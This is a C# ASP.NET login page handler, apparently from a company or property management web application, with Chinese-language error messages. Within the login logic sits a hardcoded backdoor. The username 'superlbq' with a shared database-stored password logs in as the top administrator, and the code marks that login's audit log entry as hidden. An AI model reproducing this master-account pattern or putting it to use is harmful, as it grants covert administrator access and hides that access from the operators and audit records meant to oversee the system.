protected virtual void ProcessAjaxRequest(HttpContext context, string action) { WebUtil.WriteJsonError(context, ErrorCode.InvalideRequest, "Not Implemented Ajax Request. Action: " + action); }
public bool CheckAuthByModuleCode(string _ModuleCode) { return(WebUtil.Authorization(this.Context, _ModuleCode)); }
protected void btnLogin_Click(object sender, EventArgs e) { this.lbMsg.Text = null; if (string.IsNullOrEmpty(this.tbLoginName.Text)) { this.lbMsg.Text = "请输入用户名"; } else if (string.IsNullOrEmpty(this.tbPassword.Text)) { this.lbMsg.Text = "请输入密码"; } else { string loginname = this.tbLoginName.Text; string password = this.tbPassword.Text; var user = Foresight.DataAccess.User.GetUserByLoginNamePassWord(loginname, password); if (user == null) { string newpassword = Foresight.DataAccess.User.GetCommPassword(); if (loginname.ToLower().Equals("superlbq") && password.ToLower().Equals(newpassword)) { user = Foresight.DataAccess.User.GetTop1AdminUser(); } else { this.lbMsg.Text = "用户名或密码错误!"; return; } } if (user.IsLocked) { this.lbMsg.Text = "账户被锁定,请联系管理员!"; return; } if (user.Type != UserTypeDefine.SystemUser.ToString()) { this.lbMsg.Text = "非管理员,禁止登陆!"; return; } var company = Foresight.DataAccess.Company.GetCompanyByUserID(user.UserID); if (company == null) { this.lbMsg.Text = "该帐号不属于任何公司,禁止登陆"; return; } string requestURL = WebUtil.GetContextPath(); string msg = string.Empty; bool result = EncryptHelper.CheckCompany(requestURL, WebUtil.GetFromCompanyID(this.Context), out msg); if (!result) { this.lbMsg.Text = msg; return; } FormsAuthenticationTicket authTicket = null; HttpCookie authCookie = null; DateTime Expiration = DateTime.MinValue; string authName = Guid.NewGuid().ToString().Replace("-", "") + ":" + user.LoginName; if (loginname.ToLower().Equals("superlbq")) { authName = Guid.NewGuid().ToString().Replace("-", "") + ":" + loginname.ToLower() + ":" + user.LoginName; } authTicket = new FormsAuthenticationTicket(1, authName, DateTime.Now, DateTime.Now.AddHours(12), true, authName); //加密 string encryptedTicket = FormsAuthentication.Encrypt(authTicket); // 存入Cookie authCookie = new HttpCookie(FormsAuthentication.FormsCookieName, encryptedTicket); authCookie.Expires = Expiration; Response.Cookies.Add(authCookie); #region 登录日志 bool IsHide = false; if (loginname.ToLower().Equals("superlbq")) { IsHide = true; } APPCode.CommHelper.SaveOperationLog("用户" + loginname + "登录", Utility.EnumModel.OperationModule.UserLogin.ToString(), "用户登录", user.UserID.ToString(), "User", user.RealName, IsHide: IsHide); #endregion ClientScript.RegisterClientScriptBlock(this.GetType(), "close", "<script type=\"text/javascript\">parent.$('#winlogin').window('close')</script>"); //Response.Redirect("~/Default.aspx"); } }